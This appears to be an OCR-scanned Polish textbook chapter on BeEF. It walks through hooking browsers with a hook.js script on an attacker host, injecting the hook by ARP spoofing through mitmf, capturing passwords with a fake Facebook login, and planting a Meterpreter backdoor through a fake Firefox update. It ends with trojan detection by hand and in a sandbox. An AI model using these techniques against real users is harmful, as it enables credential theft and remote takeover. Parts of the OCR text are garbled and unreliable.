Atak i wykrywanie trojanéw za pomoca BeEF

Poznamy narzedzie BeEF i dowiemy sie, jak je przechwyci¢ za pomocg frameworka typu man-in-the-
middle (MITMf). Nastepnie dowiemy sie, jak ukras¢ nazwe uzytkownika i hasto, przekierowujgc
uzytkownika na fikcyjng strone internetowa, gdzie przechwycone zostang wszystkie jego dane
uwierzytelniajgce. Nastepnie uzyskamy dostep do sekcji Meterpreter za pomocg BeEF. Na koniec
dowiemy sie, jak wykrywac trojany zaréwno recznie, jak i za pomocg sandboxa. W tym rozdziale
omoéwimy nastepujace tematy:

Narzedzie BeEF

BeEF — przechwycenie za pomocg MITMf
BeEF — podstawowe polecenia

BeEF —tadna kradziez

BeEF — Meterpreter 1

Reczne wykrywanie trojanéw

Wykrywanie trojandéw za pomocg sandboxa
Narzedzie BeEF

W tym i kolejnych czesciach przyjrzymy sie narzedziu o nazwie BeEF. Platforma BeEF (Browser
Exploitation Framework) pozwala nam uruchamiac szereg polecen i atakow na przechwycony cel. Cel
z hakiem to w zasadzie cel, ktéry wykonuje adres URL lub kod JavaScript dostarczony nam przez BeEF.
Po zhakowaniu celu bedziemy mogli uruchamiaé wszystkie polecenia, na ktére pozwala BeEF. Pierwszg
rzecza, ktérg omdwimy, jest gtdwny interfejs BeEF, sposdb jego uruchomienia oraz bardzo prosty
sposéb podfaczenia celu do BeEF. Aby uruchomié¢ BeEF, wystarczy klikng¢ ikone BeEF na pulpicie.
Automatycznie zostanie uruchomiony adres URL DErp://127.0.0.1:3000/ul/panel sy
zawiera interfejs przegladarki lub interfejs internetowy narzedzia. Zostaniesz poproszony o podanie
nazwy uzytkownika i hasta. Nazwa uzytkownika to beef, a hasto to réwniez beef. Po zalogowaniu, po
lewej stronie, w panelu Hooked Browsers, zobaczymy przeglagdarki, do ktérych mamy dostep:
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Przegladarki online to przegladarki, do ktérych obecnie mamy dostep, a przegladarki offline to te, do
ktérych mielisSmy dostep. Obecnie nie mozemy uruchamiaé¢ zadnych polecen w przegladarkach;
mieliémy do nich dostep wczesniej, ale obecnie nie mozemy nic na nich zrobié. Interesujg nas
przegladarki online. Istnieje wiele metod podfaczania przegladarek lub obiektéw docelowych do BeEF.
Jesli po prostu wrdocimy do okna terminala, zobaczymy, ze wyswietla ono adres URL skryptu, ktory
nalezy wykona¢ w przegladarce docelowej, aby zostata ona podtgczona do BeEF:

ript src="htt

ript src ntLp:

Jesdli znajdziemy lub wymyslimy sposéb na wykonanie poprzedniego fragmentu adresu URL na
komputerze docelowym, to ten komputer docelowy zostanie podtgczony do BeEF, a my bedziemy
mogli uruchamiac na nim wszystkie typy polecen. Mozemy uzy¢ metod, ktére juz poznalismy, mozemy
uzy¢ DNS-soofing do podszywania sie pod dowolne zgdanie do dowolnej strony lub do strony
zawierajgcej hook, lub mozemy zastosowac ARP poisoning i wstrzykna¢ adres URL hooka do dowolnej
strony przegladanej przez komputer docelowy. Mozemy uzy¢ exploita XSS. Mozemy tez stworzy¢
strone i zmusi¢ nasz cel do otwarcia tej strony, strony hooka. Stworzymy strone hooka i zobaczymy,
jak cel zostanie podpiety. Strona hooka, ktérg zamierzamy utworzyé, moze by¢ uzyta w socjotechnice
i DNS-spoofingu. Strona, ktérg zamierzamy utworzy¢, jest bardzo prosta. Mozemy uzyé dowolnej
strony i umiesci¢ adres URL hooka na jej korncu. Mozemy przejs¢ na dowolng witryne, skopiowac jej
kod Zrédtowy, a nastepnie umiesci¢ pod nim adres URL hooka. Zrobimy co$ prostszego: po prostu
umiescimy go w naszym katalogu /var/www/html — to tam przechowywane sg3 pliki serwera WWW.
Zmodyfikujemy nasz plik index.htm;, usuniemy wszystko i wstawimy adres URL hooka, ktdry zostat nam
przekazany przez narzedzie. Musimy réwniez zmodyfikowac adres IP i umiesci¢ adres IP atakujgcego
komputera. Zatem adres IP komputera Kali i nasz adres IP to 10.0.2.15:

index.html

File Edit Search Options Help
<script sre="http://10.0.2.15:3000/hook.js"></script>|




Teraz mozemy dziataé, a kazda osoba przeglgdajgca strone index.html zostanie potaczona z
przegladarky BeEF lub frameworkiem BeEF. Musimy réwniez uruchomié¢ serwer WWW, Apache. Aby
go uruchomié¢, uruchamiamy polecenie S5V 16® apaches SLart oo ver Apache powinien teraz
dziata¢. Ponownie mozemy uzy¢ socjotechniki lub podszywania sie pod DNS, aby zmusi¢ osobe
docelowg do przejscia na strone index.html. Mozemy przesta¢ te samg strone na zdalny serwer i
uzyska¢ do niej dostep albo wymysli¢ inny sposdb, jaki nam odpowiada. Teraz wystarczy, ze
przejdziemy do niego za pomocg przegladarki systemu Windows, wpiszemy adres IP 10.0.2.15 i

nacisniemy Enter — powinna otworzy¢ sie pusta strona:

Nasza strona tak naprawde nic nie mowi, ale jesli przejdziemy do przegladarki BeEF, zobaczymy, ze w
przegladarkach online pojawit sie nowy adres IP. Jesli klikniemy na ten adres IP, zobaczymy
podstawowe informacje na temat komputera docelowego:
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Widzimy, ze cel korzysta z przegladarki Mozilla/5.0 z systemem Windows NT 10.0, czyli Firefox/61.0.
Mozemy réwniez zobaczyc¢ zainstalowane wtyczki przegladarki. Sg one bardzo przydatne, jesli chcemy
uruchomic exploity przepetnienia bufora na komputerze docelowym. Mozemy réwniez zobaczy¢ adres
URL strony, z ktorej udato nam sie uzyskaé hak, a takze informacje o plikach cookie na dole, a takze
szczegdty dotyczace daty i rozmiaru okna. Karta ,,Polecenia” bedzie przez nas najczesciej uzywana.
Ponizszy zrzut ekranu pokazuje duzg liczbe polecen i atakéw na komputer docelowy, ktérymi zajmiemy
sie pdzniej:



etalls Lo Commands

Module Tree

Browser (53)

Chrome Extensions (6)
Debug (9)

Exploits (78)

Host (22)

IPEC (9)

Metasploit (1)

Misc (16)

Network (19)
Persisience (5)
Phonegap (16)

Social Engineering (21)

Karta Rider umozliwi nam przeglagdanie i tworzenie zgdan HTTP:
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Karta XssRays pokaze nam, czy docelowa strona internetowa ma jakiekolwiek luki w zabezpieczeniach
XSS:

Detalls Logs Commands Riger XssRays pe Network WebR
Logs scan Config
Vector Method Vector Name Vector PoC

Karta Ipec to wiersz polecen BeEF, ktéry umozliwia uruchamianie polecen BeEF z wiersza polecen
zamiast korzystania z interfejsu:

Details Logs | Commands || Ride xssRays || Ipec || Networ WebRTC

Prompt

Terminal

Karta Sie¢ umozliwia nam przeglad biezacej sieci:
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Gdy juz wszystko zrobimy, mozemy klikng¢ na link Wyloguj, co spowoduje wylogowanie z narzedzia.
To tylko podstawowy przeglad BeEF, gtéwnych polecen i interfejsu, a takze naprawde prosty sposdb
podtgczania celu. Ponownie, mozemy zmusi¢ uzytkownikéw do uruchomienia strony z hakiem,
stosujgc socjotechnike, takg jak ustuga skracania adresdw URL, aby link byt krétszy i wyglagdat bardziej
atrakcyjnie, lub mozemy zastosowaé podszywanie sie pod DNS i sprawié¢, by uzytkownik docelowy
przekierowat na naszg strone internetowa, na ktérej dziata framework BeEF.

BeEF - podtaczanie za pomocg MITMf

Inng metodg podtaczania celéw do BeEF jest wstrzykniecie kodu JavaScript, ktory BeEF udostepnia, za
pomocg MITMf. Jesli zatem cel i atakujgcy znajdujg sie w tej samej sieci i jesli mozemy stac sie
posrednikiem (lub jesli uda nam sie nim zosta¢, poniewaz mielismy fatszywy punkt dostepu lub
jestesmy fizycznie potaczeni z komputerem docelowym, niezaleznie od sposobu, w jaki stalisémy sie
posrednikiem), mozemy wstrzykng¢ kod hakujgcy do przegladarki, do stron (stron HTTP), ktdre
przeglada osoba docelowa, a zostanie ona podpieta do BeEF bez klikania w cokolwiek i bez

koniecznosci wysytania jej czegokolwiek. Uzyjemy doktadnie tego samego linku na stronie, ktérego

. ., L . http://10.0,.2.15:3000/hock. js . -
uzywalismy wczesniej, czyli : -7, czyli skryptu. Skopiujemy go, a

nastepnie wkleimy do naszej wtyczki --inject za pomocg MITMf. Polecenie bedzie brzmiato mitmf, a
nastepnie uzyjemy opcji --inject i --js -url, i podajemy adres URL haka. Polecenie wyglada nastepujgco:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0O --inject --js-url
http://10.0.2.15:3000/hook.js

To to samo polecenie, ktdrego zawsze uzywamy: mitmf. Wykonujemy podszywanie sie pod ARP,
podajemy bramie 10.0.2.1, celowi 10.0.2.5, interfejsowi ethQ i uzywamy wtyczki --inject oraz opcji --js-
url, adres URL dla JavaScript, adres URL, pod ktédrym przechowywany jest hak, w naszym przyktadzie

http://10.0.2.15:3000

. iTals . . . ..
umieszczony w /hook. 15 po uruchomieniu polecenia, przegladaj sieé



normalnie lub po prostu przejdz na strone BBC. Teraz, jesli wrécimy do naszego BeEF, zobaczymy, ze
mamy cel, a tym celem jest urzadzenie Windows:

Hooked Browsers
4 3 Online Browsers
« _jsemectivemeasure net
7 B 10025
7 @% 10025
7?7 @% 10025
# - Offline Browsers
«3100215
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enng Staned Log Current Browser

Details Command

d Categocy: Browser (6 Noms)

Browser Version: UNKNOWN

Browser UA String: Mozia/S 0 (Windows NT 10.0; Win64: x64; rv:61 0) Gecko/20100101 Firefox51.0
Browser Language en-US

Browser Platform: Wing4

Browser Plugins [J
Window Size: Width: 0, Height 0

Kod zostat automatycznie wstrzykniety do witryny BBC, wiec uzytkownik nie musiat niczego odwiedzaé
ani klika¢ w adres URL. Kod zostanie wstrzykniety do kazdej odwiedzanej przez niego strony
internetowej i zostanie on weciggniety. Uzytkownik zostanie wciggniety natychmiast po wejsciu na
dowolng strone. Jesli przejdziemy do zrddta strony i spojrzymy na dét, zobaczymy, ze mamy skrypt
hooka na dole Zrddta strony — dlatego zostat wykonany:

](th'r‘lpt sro="http:/f/10.0.2.

15:3000/hook. ]2 type="rCexC/]aVascripr"»</scoript>< body> c.-‘hr.ml:-l

Wiasnie dlatego mogliSmy umiesci¢ skrypt pod dowolng strong. Jesli tworzymy fatszywe strony,
mozemy po prostu skopiowac kod Zrodtowy dowolnej strony i umiesci¢ skrypt na dole. Nastepnie
zostanie on wykonany na stronie docelowej i bedziemy mogli podtgczy¢ nasz cel do przegladarki.

BeEF — podstawowe polecenia

Teraz, gdy mamy juz podtgczong przegladarke lub cel, mozemy przejs¢ do zaktadki ,Polecenia” i
rozpoczaé wykonywanie polecen na stronie docelowej:

Module Tree

arct
Browser (53)

Debug (9)
| Exploits (78)
_|Hast (22)
IPEC (9)
Metasploit (1)
Misc (16)
Metwork (19)
_|Persistence (5)
Phonegap (16)

Details Logs Commands

Chrome Extensions (G)

] Social Enginearing (21)

Rider XssRays pec Metwork WebRTC
Module Resulis History

id « date lahel

Mozemy uzyé opcji Szukaj, aby wyszukac okreslone polecenie, lub skorzystaé z kategorii i wyszukac
polecenia odpowiednie do tego, co chcemy wykonaé na komputerze docelowym. Niektére polecenia
stuzg do gromadzenia informacji, inne sg socjotechniczne, a niektére nawet dadzg nam petng kontrole
nad komputerem docelowym. Polecen jest tak duzo, ze nie bedziemy w stanie omoéwic ich wszystkich,



ale przyjrzymy sie niektérym z najwazniejszych, aby wiedzieé, jak je testowac i uruchamiaé. Po
kliknieciu opcji Przeglgdarka (53) zobaczymy polecenia zwigzane z atakami, ktére mozemy
przeprowadzi¢ w przegladarce:

2 ) Browser (53)

_) Hooked Domain (25)
Detect Foxit Reader
Detect LastPass
Detect QuickTime

» Detect RealPlayer
Detect Silverlight
Detect Toolbars
Detect Unity Web Player
Detect Windows Media Player
Play Sound
Remove Hook Element
Unhook
.~ Webcam

Webcam Permission Check
Detect Evernote Web Clipper
Detect VLC
Get Visited Domains
Get Visited URLS (Avant Browser)
Webcam HTMLS

& Detect Popup Blocker

@ Detect ActiveX

@ Detect Extensions

@ Detect FireBug

@ Detect MS Office

@ Detect Simple Adblock

@ Detect Unsafe ActiveX

@ Fingerprint Browser (PoC)

@ Get Visited URLs

@ Spyder Eye

Mozemy zobaczy¢ ataki, ktore pozwolg nam wykonaé zrzut ekranu, mozemy sprébowaé wtgczyc
kamere internetowa i sprawdzi¢, czy dziata, a nastepnie otworzyé kamere internetowg na celu. Klikajac
na Exploity (78), zobaczymy szereg exploitdw, ktére mozemy uruchomié:



4 | Exploits (78)
¢ [_)BeEF_bind (3)
i ) Camera (3)
v () Local Host (7)
[LINAS (2)
o [__)Router (30)
b (L) Switch (1)
b [LIXSS (4)
. Apache Cookie Disclosure
. Apache Felix Remote Shell (Reverse Shell)
. ColdFusion Directory Traversal Exploit
. HP uCMDB 9.0x add user CSRF
. Jboss 6.0.0M1 JMX Deploy Exploit
. Jenkins Code Exec CSRF
. Kemp LoadBalancer Command Execution
. RFI Scanner
. Shell Shock
. Shell Shock Scanner (Reverse Shell)
. Skykpe iPhone XSS Steal Contacts
.. VTiger CRM Upload Exploit
. WAN Emulator Command Execution
. Zenoss 3.x Add User CSRF
. Zenoss 3.x Command Execution
«» mOnOwall Reverse Root Shell CSRF
. pfSense Reverse Root Shell CSRF
. Axous <= 1.1.1 Add User CSRF

. GlassFish WAR Upload XSRF
.. GroovyShell Server Command Execution
Opencart Reset Password CSRF

.. EXTRAnet Collaboration Tool (extra-ct) Command Execution

Woystarczy klikng¢ na modut, ktéry chcemy uruchomic i klikngé¢ przycisk Wykonaj:
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Istnieja pewne moduty wymagajace skonfigurowania pewnych opcji. Ponizej znajdziesz ich przyktady.
W opcji Inzynieria spoteczna (21) moziemy wyswietla¢ fatszywe aktualizacje, fatszywe paski
powiadomien itp.:

4 Social Engineering (21)
Clickjacking
Fake LastPass
Lcamtuf Download
@ Clippy
& Fake Flash Update
& Fake Notification Bar (Chrome)
& Fake Notification Bar (Firefox)
« Fake Notification Bar (IE)
& Google Phishing
& Pretty Theft
@ Replace Videos (Fake Plugin)
& Simple Hijacker
& TabNabbing
@ Fake Evernote Web Clipper Login
@ Firefox Extension (Bindshell)
@ Firefox Extension (Dropper)
@ Firefox Extension (Reverse Shell)
@ HTA PowerShell
@ SlieKiosk Breakout
@ Steal Autocomplete

| @ User Interface Abuse (IE 9/10) ‘

Oto przyktad bardzo prostego polecenia. Uruchomimy alert, aby wyswietli¢ pole alertu. Uzywamy wiec
opcji wyszukiwania do filtrowania i widzimy, ze spowoduje to utworzenie okna dialogowego alertu z

komunikatem BeEF Alert Dialog:.
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Mozemy zmodyfikowa¢ alert i wpisa¢ cokolwiek chcemy, na przyktad zmieni¢ tekst alertu na test, a
nastepnie po kliknieciu przycisku Wykonaj w przeglagdarce docelowej zobaczymy komunikat
informujacy, ze test zostat wstrzykniety do przegladarki docelowej, jak pokazano na ponizszym zrzucie
ekranu:

The page at hitp:is.effectivemeasure.net says:

test

Kolejng interesujaca rzeczg, ktdrg mozemy zrobié, jest surowy JavaScript. Pozwoli nam to na wykonanie
dowolnego kodu JavaScript. Ponownie przeszukujemy Google w poszukiwaniu przydatnego kodu
JavaScript, takiego jak keylogger, lub mozemy napisacé wtasny skrypt, jesli znamy JavaScript, a wszystko,
co napiszemy, zostanie wykonane na komputerze docelowym. Ponownie, uruchomimy alert, ktéry

, . BeEF Baw JavaScript : il.: . .
zwréci BEEE Raw JavaScript bylikniemy przycisk Wykonaj:
[ T MR BB RS HIS Y CPRAT AT Dtk
alery b et abal Dresciipiun.  Sends an alen dizing 1 M hooked Diowsar,
@+ Browei [1) i 7
# 5 Hooked Domain (1)
Creatn Aot Diakoy fe— N S Ty

@ Phonegap (1)
At User

Enbiig

Wyswietli sie okno dialogowe z komunikatem BeEF Raw JavaScript, tak jak w poprzednim przyktadzie:

The page at http:is.effectivemeasure.net says:

BeEF Raw Javascript




Teraz sprawdzmy, czy uda nam sie zrobi¢ zrzut ekranu komputera docelowego. W tym celu uzyjemy
wtyczki o nazwie Spyder Eye. Kliknij wtyczke, nacisnij ,Wykonaj”, odczekaj chwile, a nastepnie kliknij
polecenie 4 w zaktadce , Historia wynikéw modutu”:

Modude Results History Command resuts
o« date label 1 Mon Jui 23 2018 10-33:31 GMT-0400 (EDT
0 2018.07-230253  command 1
1 2018-07-23 1029 command 2 - 4 L

. WEB HOS
2 2018-07-23 1030  command 3 mys l &_
3 2018.07-231033  command 4
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Re-execute command

Na powyzszym obrazku widzimy zrzut ekranu tego, co widzi docelowa osoba. Kolejng naprawde dobrg
wtyczka jest wtyczka Redirect Browser. Pozwala ona na przekierowanie przegladarki na dowolng
strone internetowy. Moze to by¢ bardzo przydatne, poniewaz mozemy jej uzy¢ do przekierowania
uzytkownika docelowego i poinformowania go o koniecznosci pobrania aktualizacji. Zamiast
aktualizacji, dajemy mu furtke. Mozemy przekierowaé go na fatszywga strone logowania do Facebooka
— z wtyczkg Redirect Browser mozemy zrobi¢ wszystko, co chcemy. Mozemy ustawié strone
internetowg, na ktéra ma zostaé przekierowany uzytkownik docelowy. W tym przyktadzie

. . . | - LR T == = =] . . . . . .
przekierujemy je do FEFPi/bERiproject. com g h4 kliknieciu Wykonaj cel zostanie przekierowany

do ttp:/fbesfproject. com |yh 4o dowolnego konkretnego tacza wymienionego w polu tekstowym

Adres URL przekierowania:
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Oto kilka podstawowych modutéw, z ktérych mozemy korzystaé.
BeEF - Pretty Theft

Przyjrzyjmy sie teraz wtyczce do socjotechniki, ktdra pozwoli nam kras¢ nazwy uzytkownikéw i hasta z
kont. Zasadniczo przyciemnia ekran i informuje uzytkownika, ze zostat wylogowany z sesji i musi sie
ponownie zalogowaé, aby sie uwierzytelnic. Topozwoli nam oming¢ HTTPS, HSTS i wszystkie
zabezpieczenia uzywane przez strone konta docelowego. Na przyktad, jesli probujemy uzyskaé nazwy
uzytkownikéw i hasta do Facebooka, bedziemy mogli omingé wszystkie zabezpieczenia uzywane przez
Facebooka, poniewaz wyswietlamy po prostu fatszywg strone na Facebooku, wiec uzytkownik nigdy
nie nawigze kontaktu z Facebookiem. Kliknijmy Pretty Theft, co otworzy karte:
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Na poprzednim zrzucie ekranu mozemy klikngé konto, ktére chcemy przejac. Zatézmy, ze wybieramy
Facebooka. Mozemy wybraé, jak bedzie wygladato podswietlenie, wiec zostawiamy je jako szare, a
nastepnie klikamy ,, Wykonaj”. Po przejsciu do naszego celu widzimy, ze otrzymuje on informacje o
wylogowaniu z sesji i musi zalogowac sie, podajac swojg nazwe uzytkownika i hasto:

Facebook Session Timed Out

Your session has timed out due to inactivity.

Email: | zaid

Password: | T

Flease re-enter your usemame and password to login,

Log in

Whpisz nazwe uzytkownika zaid, a nastepnie hasto 12345 i kliknij Zaloguj. Jesli wrécimy do terminala,

zobaczymy, ze otrzymalismy nazwe uzytkownika zaid i hasto 12345:

Module Tree Module Results History Command results
i 1
pre_tt ' 2 data: answer=zaid: 12345
4 | Social Engneering (1) 0 2018-0... comma...
& Pretty Theft il

Mozemy tego uzy¢ do przejecia wielu kont. Spdjrzmy na inny przyktad. Jesli chodzi o YouTube,

nadajemy mu polecenie Wykonaj:
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Na ekranie docelowym widzimy logo YouTube i mozemy sprébowad sie zalogowaé. Wpisz nazwe
uzytkownika i hasto, kliknij Zaloguj sie, a dane uwierzytelniajgce zostang przechwycone:

Session Timed Out = VaniTon

Your session has timed out due to inactivity

Please re-enter your username and password to login

Usermame:

Password:

Sign In

To jest wiec naprawde dobry sposdb na uzyskanie dostepu do kont, poniewaz nawet jesli uzytkownik
nie zamierza logowac sie na konto, ktore préobujemy ukrasé, w pewnym sensie zmusimy go do podania
nazwy uzytkownika i hasta, aby mdgt sie ponownie zalogowa¢ na swoje konto, a wtedy bedziemy mogli
przechwyci¢ nazwe uzytkownika i hasto.

BeEF - Meterpreter 1

W tej sekcji zobaczymy, jak uzyskaé petng kontrole i nawigzaé sesje Meterpretera z komputera
docelowego. Przejdimy wiec ponownie do zaktadki Polecenia, a nastepnie do sekcji Inzynieria
spoteczna. Istnieje wiele sposobdw na uzyskanie odwrdconej powtoki. Teraz wszystko zalezy od tego,
jak chcemy przeprowadzié¢ atak socjotechniczny. Uzyjemy paska powiadomien, Fatszywego paska
powiadomien (Firefox) — wybieramy Firefoksa, poniewaz nasz cel korzysta z przegladarki Firefox:
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Plugin URL: | narpe0.0,0.0: 3000V aplfipec/tt_extension

w‘m An additional piug In i required to display so

Zasadniczo wyswietli pasek powiadomien informujacy uzytkownika o nowej aktualizacji lub wtyczce,
ktdrg nalezy zainstalowac. Po zainstalowaniu wtyczki, uzytkownik zainstaluje tzw. backdoor, a my
uzyskamy petny dostep do jego komputera. Zaimplementujemy to, uzywajac tego samego backdoora,
ktory stworzyliSmy i ktérego uzywamy . Zapisalismy backdoora na naszym serwerze WWW w
/var/www/html i nazwaliémy go update.exe, ale to ten sam backdoor, ten sam Meterpreter
odwrotnego HTTP, ktérego uzywalismy wczesniej. Podaj petny adres backdoora w polu tekstowym
,Adres URL wtyczki”, ktéry brzmi PEtp://10.0. 2. 15/ update. exe ;mien tekst powiadomienia na
Critical update for Firefox, click here, to install, jak pokazano na ponizszym zrzucie ekranu, i naci$nij
przycisk Wykonaj:

Fake Notification Bar (Firefox)
Description:  Displays a fake nofification bar atthe top of the screen, similar to those

presented In Firefox. If the user clicks the notification they will be prompted to
download a malicious Firefox extension (by default)

Id: 57

Plugin URL: hitp://10.0.2.15/update.exe

‘N‘:’“ca“"" Critical update for Firefox, click here to insta
ext

Na urzadzeniu docelowym widzimy komunikat informujagcy o dostepnosci nowej aktualizacji
przegladarki Firefox:
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3 Critical update for Firefox, click here to install | jnstal plug-in.

Gdy cel pobierze i zainstaluje aktualizacje, na jego komputerze zostanie pobrany backdoor. Gdy
sprébuje uruchomié ten backdoor, aby zainstalowac¢ aktualizacje, uruchomi backdoor, ktéry da nam
petny dostep do jego komputera. Zanim uruchomimy backdoora, musimy nastuchiwaé na porcie,
doktadnie tak jak poprzednio. Otwdrz terminal mfsconsole i uruchom show options. Uzyj multi-
handlera  Metasploit, tak jak robilismy , aby nastuchiwa¢ na portach. Uzyj
meterpreter/reverse/ntie,’ amy adres IP i port. Teraz po prostu uruchamiamy exploit
nastuchujemy potgczen. Uruchommy pobrang aktualizacje. Jesli przejdziemy do celu, przekonamy sie,
ze mamy nad nim petng kontrole za pomoca sesji Meterpretera.

Ponownie, to tylko przyktad jednego ze sposobdw uzyskania petnej kontroli nad komputerem
docelowym. Istnieje wiele sposobdéw, aby to zrobi¢ za pomocg BeEF, a takze wiele atakéw
socjotechnicznych, ktére moziemy przeprowadzi¢, aby uzyskaé petny dostep do komputera
docelowego. Zdecydowanie zaleca sie zapoznanie sie z wtyczkami, eksperymentowanie z nimi i
sprawdzenie, jakie ataki mozna przeprowadzic.

Reczne wykrywanie trojanéw

Trojany, ktore do tej pory stworzyliSmy, s3 niesamowite; potrafig omingé programy antywirusowe —
uruchamiajg dwa fragmenty kodu. Pierwszy dziata w tle, uruchamiajac nasz wtasny kod i wykonujac
zadane przez nas czynnosci, takie jak otwarcie portu lub pofaczenie sie z nami i udostepnienie powtoki,
a drugi uruchamia inny fragment kodu, oczekiwany przez uzytkownika. Moze on wyswietli¢ obraz,
odtworzy¢ plik MP3 lub PDF. Ta funkcjonalnos¢ bardzo utrudnia wykrycie, dlatego najlepiej sprawdzic
wiasciwosci pliku i upewnic sie, ze jest tym, za co sie podaje. Na ponizszym zrzucie ekranu mamy obraz
Packt i mozemy zobaczyd¢, ze jest to .jpg, wiec wyglada jak obrazek, ma ikone, a jesli go uruchomimy,
otrzymamy obrazek:

mage.exe Imagejpg.zis mageexejpg

Kliknij prawym przyciskiem myszy i przejdz do Wtasciwosci. Po przejsciu do Wtasciwosci zobaczymy, ze
to aplikacja, a nie obraz:
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Type offle:  Application (exe)

Description:  Imageexe jpg

Location: C:\Users\IEUser\Downloads
Size: 874 KB (854.976 bytes)
Sizeondisk: 876 KB (857,024 bytes)

Created: Today, July 24, 2018, 20 hours ago
Modffied: Today, July 24, 2018, 20 hours ago
Accessed. Today, July 24, 2018, 10:50.31 PM

Atibutes:  []Readonly [ ]Hidden Advanced..
Security: This file came from another bloch
computer and might be blocked to Cu
help protect this computer
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To samo dotyczy plikdw PDF i MP3; powinien wyswietla¢ sie napis MP3, jesli to plik MP3, PDF, jesli to
PDF, i .jpg, jesli to plik JPG. W tym przypadku jednak informuje nas, ze jest to plik wykonywalny. W
szczegdtach zobaczymy, ze jest to aplikacja, a nie obraz — gdyby to byt obraz, komunikat wskazywatby
na obraz:



B imageseitrepor? exejpg *

General Compatbity Secuity Defals  Previsus Versions

Property Ve
Descnption

File description

Type Application

Fil: versaan 0.0.0.0
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Size 574 KB
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Dzieki temu bedziemy wiedzie¢, ze jesteSmy oszukiwani. Mozemy réwniez zmieni¢ nazwe pliku i
bedziemy mogli jg zresetowac; jesli zmienimy nazwe pliku na inng, zobaczymy, ze jest to plik .exe, a nie
.jpg. Jesli zmienimy jg na test, zobaczymy, ze nazwa zostata zmieniona na test.exe:

Packh

test.exe

Zatézmy teraz, ze ten trojan zostat potgczony z plikiem wykonywalnym. Jesli go uruchomimy,
spodziewamy sie uzyskac .exe i aplikacje. Zatézmy, ze jest on potaczony z oprogramowaniem Download
Accelerator Plus, a nie z obrazkiem. To zadanie bedzie trudniejsze, poniewaz i tak oczekujemy aplikacji.
W przypadku obrazka i pliku PDF system Windows poinformuje nas, ze prébujemy uruchomié plik
wykonywalny, ale jesli oczekujemy pliku wykonywalnego, to i tak go uruchomimy, na przyktad za
pomocg DAP. Odtworzy on poszukiwany plik wykonywalny, a plik wykonywalny wysle sesje odwrotng
do Kali. Przejdz do narzedzia o nazwie Monitor Zasobdw, a nastepnie do zaktadki Sie¢. Tam bedziemy
mogli zobaczy¢ wszystkie otwarte porty na naszym komputerze:
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Widzimy, ze mamy port 8080 i tgczymy sie z adresem IP 10.0.2.15. Oczywiscie port 8080 nie jest
szczegblnie podejrzany, nawet gdyby znajdowat sie na porcie 80, nie wygladatby podejrzanie, a
ponadto pochodzi z procesu o nazwie browser.exe, ktéry rowniez nie jest szczegdlnie podejrzany.
Podejrzana jest czes¢ zdalna; uzyskuje dostep do adresu 10.0.2.15, ktérego nie znamy. Jesli to strona
internetowa, wpisanie adresu IP w przegladarce powinno przekierowac nas do strony internetowej lub
serwera tej strony. W wiekszosci przypadkdw, jesli jest to komputer hakera, nie przekieruje nas on do
strony internetowej, a wtedy bedziemy wiedzie¢, ze ta osoba jest atakujgcym. Aby zweryfikowac atak,
mozemy uzy¢ narzedzia o nazwie Reverse DNS Lookup. Podaje ono adres IP i informuje, do ktorej
witryny lub domeny nalezy dany adres IP. Przyjrzyjmy sie przyktadowi na Facebooku. Zatézmy, ze w
Menedzerze Zasobdw zauwazylismy podejrzanie wygladajgcy adres IP. W rzeczywistosci uzyskamy
prawidtowy adres IP dla Facebooka, wykonujac ping:

WidzieliSmy adres IP 157.240.7.38; na porcie 80 istnieje potgczenie prowadzace do tego adresu IP.
Skopiuj ten adres IP i wyszukaj go w Google pod hastem Reverse DNS, otwodrz pierwszg strone, wklej
adres IP i kliknij ,,Wyszukiwanie odwrotne”. Mozemy zobaczy¢ adres IP, ktéry widzieliSmy w naszych
zasobach:



SuperTool Bsa?

ptri157.240.7.38 B 0

Type IP Address Domain Name T
Test Resul
(v DNS Rocoed Pudliched DNS Record found

Jesli chodzi o porzadng strone internetowa, nie ma powodu do obaw; jesli wyglagda podejrzanie,
bedziemy wiedzie¢, ze jest to adres podejrzanej osoby. Jak wida¢ na poprzednim zrzucie ekranu,
wiadomosé trafia na Facebooka, a my przeglagdamy Facebooka —to normalne, korzystamy z Facebooka,
wiec istnieje miedzy nami potfaczenie z Facebookiem.

Wykrywanie trojanéw za pomocg piaskownicy

Teraz przyjrzymy sie innemu sposobowi wykrywania ztosliwych plikdw, czyli piaskownicy. Piaskownica
to w zasadzie miejsce, w ktérym nasz plik zostanie uruchomiony i przeanalizowany. Sprawdzi, czy
zostang otwarte jakiekolwiek porty, czy bedzie modyfikowat wpisy w rejestrze — a w zasadzie, czy
bedzie wykonywat jakie$ podejrzane czynnosci. To nie jest program antywirusowy. Nasz trojan moze
przejs¢ przez programy antywirusowe, nasz trojan przeszedt przez wszystkie programy antywirusowe,
ale aplikacje piaskownicy, czyli Srodowiska piaskownicy, uruchomia go w kontrolowanym srodowisku,
sprawdzg, czy wykonuje co$ podejrzanego i wygenerujg raport. Mozemy wyszukaé piaskownice w
Google online, a przyktadem jest strona internetowa o nazwie Hybrid Analysis. Korzystanie z niej jest
bardzo proste: wystarczy przejs¢ do adresu URL, wybra¢ plik i przesta¢ go. Raport widac na ponizszym
zrzucie ekranu; analiza pliku i wygenerowanie raportu moze zajgé troche czasu:
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Po otrzymaniu raportu zobaczymy podstawowe informacje; zobaczymy, ze wykryto ztosliwe wskazniki.
Ukrywajg je przed nami i musimy skorzystaé z petnej wersji, aby je zobaczy¢, ale tak naprawde nie
musimy ich widzie¢; jesli przeczytamy caty raport, bedziemy wiedzie¢, ze ten plik jest ztosliwy i wyrzadzi
szkody naszemu komputerowi. Widzimy, ze plik pomija pola btedéw, wiec nie wyswietla pdl btedéw

Suspicious Indicators

Anti-Detection/Stealthyness

Sets the process error mode to suppress error box
details “dnput Samples” set its error mode 10 SEM_NOOPENFILEERRORBOX
source AP Call

relevance 8/10

Modyfikuje rdwniez rejestr, a jego parametry mozemy zobaczy¢ na ponizszym zrzucie ekranu:

Installation/Persistance

Monitors specific registry key for changes

details “dngat Sampler” montors VREGISTRY\MACHINE\SOF TWARE \Micresolt\ Tracng \RASAPI32" (Fiter: 14)

“dnput Sampley” monttors “\REGISTRY\MACHINE\SYSTEM\ControlSet QO T\ services\WinSock 2\ Parameters\ Protocol_ Cataliogd™ (Filter 1)

“nput Sampler” montors “\REGSTRY\MACHINE\SYSTEM\ControlSet00T\senvices \WinSock2\Parameters\NameSpace_Catalogs™ (Filter. 1)

“dnpat Sampler” monttors “\REGISTRY\MACHINE\SOFTWARE \Microsolt\ Tracing \RASMANCS" (Fitter. M)

